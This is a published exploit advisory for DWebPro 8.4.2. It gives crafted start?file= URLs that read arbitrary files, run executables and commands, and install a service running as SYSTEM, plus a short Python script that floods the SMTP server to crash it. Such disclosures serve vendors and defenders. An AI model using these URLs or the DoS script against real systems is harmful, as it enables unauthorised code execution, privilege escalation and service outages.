DWebPro 8.4.2 Remote Binary Execution / File Inclusion
Posted on 04 October 2016
# Exploit Title: DWebPro 8.4.2 Remote Binary Execution # Date: 01/10/2016 # Exploit Author: Tulpa # Contact: tulpa@tulpa-security.com # Author website: www.tulpa-security.com # Author twitter: @tulpa_security # Vendor Homepage: http://www.dwebpro.com/ # Software Link: http://www.dwebpro.com/download # Version: 8.4.2 # Tested on: Windows 7 x86 # Shout-out to carbonated and ozzie_offsec 1. Description: DWebPro is a software package used for used for distributing dynamical web sites on CD/DVD or USB drives. It includes it's own web server called "primary web server" as well as an SMTP server. The POC below relates to the installation of DWebPro itself however it is conceivable that the vulnerability could be leveraged within certain contexts from a CD/DVD or USB drive. Dependent on the client configuration this vulnerability could be exploited remotely and/or locally. The SMTP server of DWebPro is also extremely susceptible to DOS attacks. 2. Remote Binary Execution and Local File Inclusion Proof of Concept When browsing to the demo site installed with DWebPro you will find hyperlinks to various resources located on the local machine. One such example is "http://127.0.0.1:8080/dwebpro/start?file=C:DWebProdeploy..helpenglish dwebpro.chm". Any file can be accessed on the vulnerable machine by simply replacing the start?file= location. It is important to note however that when browsing to an executable file through this vulnerability, that the web server will indeed run the application locally instead of prompting you for a download. As an example, the following will start the calculator process on the victim machine "http://192.168.0.1:8080/dwebpro/start?file=C:Windowssystem32calc.exe". Calc.exe will by default execute with the same permission as the user who ran dwepro.exe initially. Basic cmd commands can also be executed such as with "http://192.168.0.1:8080/dwebpro/start?file=ipconfig". These privileges can be escalated to SYSTEM however by installing the application as a windows service which will automatically run on start up. In order to initiate that installation, the attacker could take advantage of a script which is installed by default and can be executed thanks to the LFI vulnerability. This can be accomplished by using "http://192.168.0.1:8080/dwebpro/start?file=C:DWebProserviceinstall.bat". 3. Denial of Service Proof of Concept #!/usr/bin/python import socket import sys s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.0.1',25)) evil = 'A' * 300 s.recv(1024) s.send(evil) s.close()
